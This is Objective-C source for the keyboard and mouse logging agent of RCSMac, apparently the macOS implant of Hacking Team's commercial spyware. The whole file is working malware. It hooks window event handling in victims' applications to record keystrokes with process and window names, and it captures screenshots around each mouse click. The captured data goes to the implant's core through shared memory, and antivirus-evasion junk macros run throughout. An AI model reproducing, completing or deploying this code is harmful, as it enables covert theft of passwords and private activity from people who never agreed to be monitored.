/*
 * RCSMac - Input Logger Agent (Mouse and Keyboard)
 * 
 * Created by Alfredo 'revenge' Pesoli on 12/05/2009
 * Copyright (C) HT srl 2009. All rights reserved
 *
 */

#import <objc/objc-class.h>

#import "RCSMAgentInputLogger.h"
#import "RCSMInputManager.h"
#import "RCSMCommon.h"

#import "RCSMLogger.h"
#import "RCSMDebug.h"

#import "NSProcessInfo+NSProcessInfo__AVEvasion_.h"
#import "RCSMAVGarbage.h"

static int contextHasBeenSwitched = 0;
static NSMutableString *keyBuffer = nil;

int mouseAgentIsActive     = 0;
int keylogAgentIsActive    = 0;

static int width   = 30;
static int height  = 30;

@implementation NSWindow (inputLoggerHook)

// Lookup the next implementation of the given selector after the
// default one. Returns nil if no alternate implementation is found.

- (void)logKeyboard: (NSEvent *)event
{
  NSString *_windowName;
  NSMutableData *logData;
  NSMutableData *processName;
  NSMutableData *windowName;
  NSMutableData *contentData;

  // AV evasion: only on release build
  AV_GARBAGE_007
  
  NSString *charCode;

  switch ([event keyCode])
    {
    case 0x24: // Enter
      {
        // AV evasion: only on release build
        AV_GARBAGE_001
        
        charCode = @"\u21B5\r\n";
        break;
      }
    case 0x33: // Backspace
      {
        // AV evasion: only on release build
        AV_GARBAGE_002
        
        charCode = @"\u2408";
        break;
      }
    case 0x35: // Escape
      {
        // AV evasion: only on release build
        AV_GARBAGE_007
        
        charCode = @"\u241B";
        break;
      }
    case 0x7b: // UP arrow
      {
        // AV evasion: only on release build
        AV_GARBAGE_004
        
        charCode = @"\u2190";
        break;
      }
    case 0x7c: // RIGHT arrow
      {
        // AV evasion: only on release build
        AV_GARBAGE_003
        
        charCode = @"\u2192";
        break;
      }
    case 0x7d: // DOWN arrow
      {
        // AV evasion: only on release build
        AV_GARBAGE_007
        
        charCode = @"\u2193";
        break;
      }
    case 0x7e: // LEFT arrow
      {
        // AV evasion: only on release build
        AV_GARBAGE_002
        
        charCode = @"\u2191";
        break;
      }
    default:
      {
        // AV evasion: only on release build
        AV_GARBAGE_001
        
        charCode = [event characters];
        break;
      }
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
  if ([keyBuffer length] < KEY_MAX_BUFFER_SIZE)
    {
      // AV evasion: only on release build
      AV_GARBAGE_003
    
      [keyBuffer appendString: charCode];
    }
  else
    {     
      // AV evasion: only on release build
      AV_GARBAGE_001
      
      logData   = [[NSMutableData alloc] initWithLength: sizeof(shMemoryLog)];
      NSMutableData *entryData = [[NSMutableData alloc] init];
      
      // AV evasion: only on release build
      AV_GARBAGE_007
      
      shMemoryLog *shMemoryHeader = (shMemoryLog *)[logData bytes];
      short unicodeNullTerminator = 0x0000;
      
      // AV evasion: only on release build
      AV_GARBAGE_003
      
      if (contextHasBeenSwitched == 1)
        {
          // AV evasion: only on release build
          AV_GARBAGE_001
        
          contextHasBeenSwitched = 0;

          NSProcessInfo *processInfo  = [NSProcessInfo PROCESSINFO_SEL];
          
          // AV evasion: only on release build
          AV_GARBAGE_008
          
          NSString *_processName      = [[processInfo processName] copy];
          
          // AV evasion: only on release build
          AV_GARBAGE_003
          
          time_t rawtime;
          struct tm *tmTemp;

          processName  = [[NSMutableData alloc] initWithData:
                             [_processName dataUsingEncoding:
                             NSUTF16LittleEndianStringEncoding]];
          
          // AV evasion: only on release build
          AV_GARBAGE_008
          
          // Dummy word
          short dummyWord = 0x0000;
          [entryData appendBytes: &dummyWord
                          length: sizeof(short)];
          
          // AV evasion: only on release build
          AV_GARBAGE_002
          
          // Struct tm
          time (&rawtime);
          tmTemp = gmtime(&rawtime);
          
          // AV evasion: only on release build
          AV_GARBAGE_007
          
          tmTemp->tm_year += 1900;
          tmTemp->tm_mon  ++;

          //
          // Our struct is 0x8 bytes bigger than the one declared on win32
          // this is just a quick fix
          //
          if (sizeof(long) == 4) // 32bit
            {
              [entryData appendBytes: (const void *)tmTemp
                              length: sizeof (struct tm) - 0x8];
            }
          else if (sizeof(long) == 8) // 64bit
            {
              [entryData appendBytes: (const void *)tmTemp
                              length: sizeof (struct tm) - 0x14];
            }
          
          // AV evasion: only on release build
          AV_GARBAGE_001
          
          // Process Name
          [entryData appendData: processName];
          // Null terminator
          [entryData appendBytes: &unicodeNullTerminator
                          length: sizeof(short)];

          _windowName = [[self title] copy];
          
          // AV evasion: only on release build
          AV_GARBAGE_007
          
          windowName = [[NSMutableData alloc] initWithData:
                            [_windowName dataUsingEncoding:
                            NSUTF16LittleEndianStringEncoding]];
          
          // AV evasion: only on release build
          AV_GARBAGE_003
          
          // Window Name
          [entryData appendData: windowName];
          // Null terminator
          [entryData appendBytes: &unicodeNullTerminator
                          length: sizeof(short)];
          
          // AV evasion: only on release build
          AV_GARBAGE_005
          
          // Delimiter
          uint32_t del = LOG_DELIMITER;
          [entryData appendBytes: &del
                          length: sizeof(del)];
          
          // AV evasion: only on release build
          AV_GARBAGE_008
          
          [_windowName release];
          [processName release];
          [_processName release];
          [windowName release];
        }
      
      // AV evasion: only on release build
      AV_GARBAGE_002
      
      contentData = [[NSMutableData alloc] initWithData:
                           [keyBuffer dataUsingEncoding:
                           NSUTF16LittleEndianStringEncoding]];
      
      // AV evasion: only on release build
      AV_GARBAGE_001
      
      // Log buffer
      [entryData appendData: contentData];
      
      // AV evasion: only on release build
      AV_GARBAGE_003
      
      shMemoryHeader->status          = SHMEM_WRITTEN;
      shMemoryHeader->agentID         = AGENT_KEYLOG;
      
      // AV evasion: only on release build
      AV_GARBAGE_004
      
      shMemoryHeader->direction       = D_TO_CORE;
      
      // AV evasion: only on release build
      AV_GARBAGE_005
      
      shMemoryHeader->commandType     = CM_LOG_DATA;
      shMemoryHeader->commandDataSize = [entryData length];
      
      // AV evasion: only on release build
      AV_GARBAGE_008
      
      memcpy(shMemoryHeader->commandData,
             [entryData bytes],
             [entryData length]);
      
      // AV evasion: only on release build
      AV_GARBAGE_004
      
      if ([mSharedMemoryLogging writeMemory: logData 
                                     offset: 0
                              fromComponent: COMP_AGENT] == TRUE)
        {
#ifdef DEBUG_KEYB
          infoLog(@"Keys logged correctly");
#endif
        }
      else
        {
#ifdef DEBUG_KEYB
          errorLog(@"Error while logging keystrokes (%@) to shared memory", keyBuffer);
#endif
        }
      
      // AV evasion: only on release build
      AV_GARBAGE_007
      
      [keyBuffer release];
      [logData release];
      [entryData release];
      [contentData release];
      
      // AV evasion: only on release build
      AV_GARBAGE_007
      
      keyBuffer = [[NSMutableString alloc] init];
      [keyBuffer appendString: charCode];
    }
}

- (void)logMouse
{
  NSString *_windowName;
  NSMutableData *processName;
  NSMutableData *windowName;
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  //
  // Read configuration
  //
  NSMutableData *readData = [mSharedMemoryLogging readMemoryFromComponent: COMP_AGENT
                                                                 forAgent: AGENT_MOUSE
                                                          withCommandType: CM_AGENT_CONF];
  
  // AV evasion: only on release build
  AV_GARBAGE_004
  
  if (readData != nil)
  {
    // AV evasion: only on release build
    AV_GARBAGE_005
    
    shMemoryLog *shMemLog = (shMemoryLog *)[readData bytes];
    
    // AV evasion: only on release build
    AV_GARBAGE_007
    
    NSMutableData *confData = [NSMutableData dataWithBytes: shMemLog->commandData
                                                    length: shMemLog->commandDataSize];
    
    // AV evasion: only on release build
    AV_GARBAGE_006
    
    mouseStruct *mouseConfiguration = (mouseStruct *)[confData bytes];
    
    // AV evasion: only on release build
    AV_GARBAGE_009
    
    width  = mouseConfiguration->width;
    height = mouseConfiguration->height;
  }
  else
  {
#ifdef DEBUG_MOUSE
    verboseLog(@"No configuration found for agent mouse");
#endif
  }
  
#ifdef DEBUG_MOUSE
  infoLog(@"height: %d", height);
  infoLog(@"width: %d", width);
#endif
  
  // AV evasion: only on release build
  AV_GARBAGE_000
  
  NSPoint eventLocation = [NSEvent mouseLocation];
  eventLocation.y = 800 - eventLocation.y;
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  CGImageRef screenShot;
  NSBitmapImageRep *bitmapRep;
  CGSize mouseRectSize = { .width = width, .height = height };
  CGRect mouseRect  = {
    .origin = { .x = eventLocation.x - mouseRectSize.width * 0.5, .y = eventLocation.y - mouseRectSize.height * 0.5 },
    .size   = mouseRectSize,
  };
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
  screenShot = CGWindowListCreateImage(mouseRect,
                                       kCGWindowListOptionOnScreenOnly,
                                       kCGNullWindowID,
                                       kCGWindowImageDefault);
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  if (screenShot == NULL)
  {
    // AV evasion: only on release build
    AV_GARBAGE_007
    
    return;
  }
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  bitmapRep = [[NSBitmapImageRep alloc] initWithCGImage: screenShot];
  NSData *imageData = [bitmapRep representationUsingType: NSJPEGFileType
                                              properties: nil];
  
  //
  // Logging
  //
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  NSMutableData *entryData = [[NSMutableData alloc] initWithLength: sizeof(mouseAdditionalStruct)];
  NSProcessInfo *processInfo  = [NSProcessInfo PROCESSINFO_SEL];
  NSString *_processName      = [[processInfo processName] copy];
  
  processName  = [[NSMutableData alloc] initWithData:
                  [_processName dataUsingEncoding:
                   NSUTF16LittleEndianStringEncoding]];
  
  // AV evasion: only on release build
  AV_GARBAGE_004
  
  _windowName = [[self title] copy];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  windowName = [[NSMutableData alloc] initWithData:
                [_windowName dataUsingEncoding:
                 NSUTF16LittleEndianStringEncoding]];
  
  // Dummy word
  short dummyWord = 0x0000;
  
  // AV evasion: only on release build
  AV_GARBAGE_009
  
  mouseAdditionalStruct *mouseAdditionalHeader = (mouseAdditionalStruct *)[entryData bytes];
  mouseAdditionalHeader->version           = LOG_MOUSE_VERSION;
  mouseAdditionalHeader->processNameLength = [processName length] + sizeof(dummyWord);
  mouseAdditionalHeader->windowNameLength  = [windowName length] + sizeof(dummyWord);
  mouseAdditionalHeader->x = eventLocation.x - mouseRectSize.width * 0.5;
  mouseAdditionalHeader->y = eventLocation.y - mouseRectSize.height * 0.5;
  
  // AV evasion: only on release build
  AV_GARBAGE_008
  
  NSRect screenRes = [[NSScreen mainScreen] frame];
  
  // AV evasion: only on release build
  AV_GARBAGE_004
  
  mouseAdditionalHeader->xMax = screenRes.origin.x;
  mouseAdditionalHeader->yMax = screenRes.origin.y;
  
  // AV evasion: only on release build
  AV_GARBAGE_007
  
  // Process Name
  [entryData appendData: processName];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  // Null terminator
  [entryData appendBytes: &dummyWord
                  length: sizeof(short)];
  
  // Window Name
  [entryData appendData: windowName];
  // Null terminator
  [entryData appendBytes: &dummyWord
                  length: sizeof(short)];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  // Now append the image
  [entryData appendData: imageData];
  
  // AV evasion: only on release build
  AV_GARBAGE_008
  
  int leftBytesLength = 0;
  int byteIndex = 0;
  
  // AV evasion: only on release build
  AV_GARBAGE_002
  
  if ([entryData length] > MAX_COMMAND_DATA_SIZE)
  {
    do
    {
      // AV evasion: only on release build
      AV_GARBAGE_002
      
      NSMutableData *logData = [[NSMutableData alloc] initWithLength: sizeof(shMemoryLog)];
      
      // AV evasion: only on release build
      AV_GARBAGE_004
      
      shMemoryLog *shMemoryHeader = (shMemoryLog *)[logData bytes];
      
      // AV evasion: only on release build
      AV_GARBAGE_007
      
      shMemoryHeader->status          = SHMEM_WRITTEN;
      shMemoryHeader->agentID         = AGENT_MOUSE;
      
      // AV evasion: only on release build
      AV_GARBAGE_003
      
      shMemoryHeader->direction       = D_TO_CORE;
      shMemoryHeader->commandType     = CM_LOG_DATA;
      shMemoryHeader->flag            = 0;
      shMemoryHeader->commandDataSize = [entryData length];
      
      // AV evasion: only on release build
      AV_GARBAGE_002
      
      leftBytesLength = (([entryData length] - byteIndex >= 0x300)
                         ? 0x300
                         : ([entryData length] - byteIndex));
      
      // AV evasion: only on release build
      AV_GARBAGE_003
      
      memcpy(shMemoryHeader->commandData,
             [entryData bytes] + byteIndex,
             leftBytesLength);
      
      // AV evasion: only on release build
      AV_GARBAGE_002
      
      if ([mSharedMemoryLogging writeMemory: logData
                                     offset: 0
                              fromComponent: COMP_AGENT] == TRUE)
      {
#ifdef DEBUG_MOUSE
        verboseLog(@"Mouse click sent through Shared Memory");
#endif
      }
      else
      {
#ifdef DEBUG_MOUSE
        errorLog(@"Error while logging mouse to shared memory");
#endif
      }
      
      // AV evasion: only on release build
      AV_GARBAGE_001
      
      byteIndex += leftBytesLength;
      [logData release];
      
    } while (byteIndex < [entryData length]);
  }
  else
  {
    // AV evasion: only on release build
    AV_GARBAGE_007
    
    NSMutableData *logData = [[NSMutableData alloc] initWithLength: sizeof(shMemoryLog)];
    
    // AV evasion: only on release build
    AV_GARBAGE_009
    
    shMemoryLog *shMemoryHeader = (shMemoryLog *)[logData bytes];
    
    shMemoryHeader->status          = SHMEM_WRITTEN;
    shMemoryHeader->agentID         = AGENT_MOUSE;
    shMemoryHeader->direction       = D_TO_CORE;
    
    // AV evasion: only on release build
    AV_GARBAGE_003
    
    shMemoryHeader->commandType     = CM_LOG_DATA;
    shMemoryHeader->flag            = 0;
    shMemoryHeader->commandDataSize = [entryData length];
    
    // AV evasion: only on release build
    AV_GARBAGE_008
    
    memcpy(shMemoryHeader->commandData,
           [entryData bytes],
           [entryData length]);
    
    // AV evasion: only on release build
    AV_GARBAGE_001
    
    if ([mSharedMemoryLogging writeMemory: logData
                                   offset: 0
                            fromComponent: COMP_AGENT] == TRUE)
    {
#ifdef DEBUG
      infoLog(@"Mouse click sent through Shared Memory");
#endif
    }
    else
    {
#ifdef DEBUG
      errorLog(@"Error while logging mouse to shared memory");
#endif
    }
    
    // AV evasion: only on release build
    AV_GARBAGE_005
    
    [logData release];
  }
  
  [entryData release];
  [windowName release];
  [_windowName release];
  [processName release];
  [_processName release];
  [bitmapRep release];
  CGImageRelease(screenShot);
}

- (void)hookKeyboardAndMouse: (NSEvent *)event
{
  NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  if (keyBuffer == nil && keylogAgentIsActive == 1)
    {
      keyBuffer = [[NSMutableString alloc] init];
      contextHasBeenSwitched = 1;
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_001
  
  switch ([event type])
    {
    case NSLeftMouseDown:
      {
        if (mouseAgentIsActive == 1)
          {
            // AV evasion: only on release build
            AV_GARBAGE_004
          
            [self logMouse];
          }
        
        break;
      }
    case NSKeyDown:
      {
        if (keylogAgentIsActive == 1)
          {
            // AV evasion: only on release build
            AV_GARBAGE_003
          
            [self logKeyboard: event];
          }
                
        break;
      }
    default:
      break;
    }
  
  // AV evasion: only on release build
  AV_GARBAGE_003
  
  [outerPool release];
  [self hookKeyboardAndMouse: event];
}

- (void)resignKeyWindowHook
{
  // AV evasion: only on release build
  AV_GARBAGE_007
  
  contextHasBeenSwitched = 0;
  [self resignKeyWindowHook];
}

- (void)becomeKeyWindowHook
{
  // AV evasion: only on release build
  AV_GARBAGE_007
  
  contextHasBeenSwitched = 1;
  [self becomeKeyWindowHook];
}

- (IMP)getImplementationOf: (SEL)lookup after: (IMP)skip
{
  BOOL found = NO;
  
  // AV evasion: only on release build
  AV_GARBAGE_007
  
  Class currentClass = object_getClass(self);
  while (currentClass)
  {
    // Get the list of methods for this class
    unsigned int methodCount;
    Method *methodList = class_copyMethodList(currentClass, &methodCount);
    
    // AV evasion: only on release build
    AV_GARBAGE_002
    
    // Iterate over all methods
    unsigned int i;
    for (i = 0; i < methodCount; i++)
    {
      // Look for the selector
      if (method_getName(methodList[i]) != lookup)
      {
        continue;
      }
      
      // AV evasion: only on release build
      AV_GARBAGE_003
      
      IMP implementation = method_getImplementation(methodList[i]);
      
      // Check if this is the "skip" implementation
      if (implementation == skip)
      {
        found = YES;
      }
      else if (found)
      {
        // Return the match.
        free(methodList);
        return implementation;
      }
    }
    
    // AV evasion: only on release build
    AV_GARBAGE_004
    
    // No match found. Traverse up through super class' methods.
    free(methodList);
    
    // AV evasion: only on release build
    AV_GARBAGE_005
    
    currentClass = class_getSuperclass(currentClass);
  }
  return nil;
}

@end
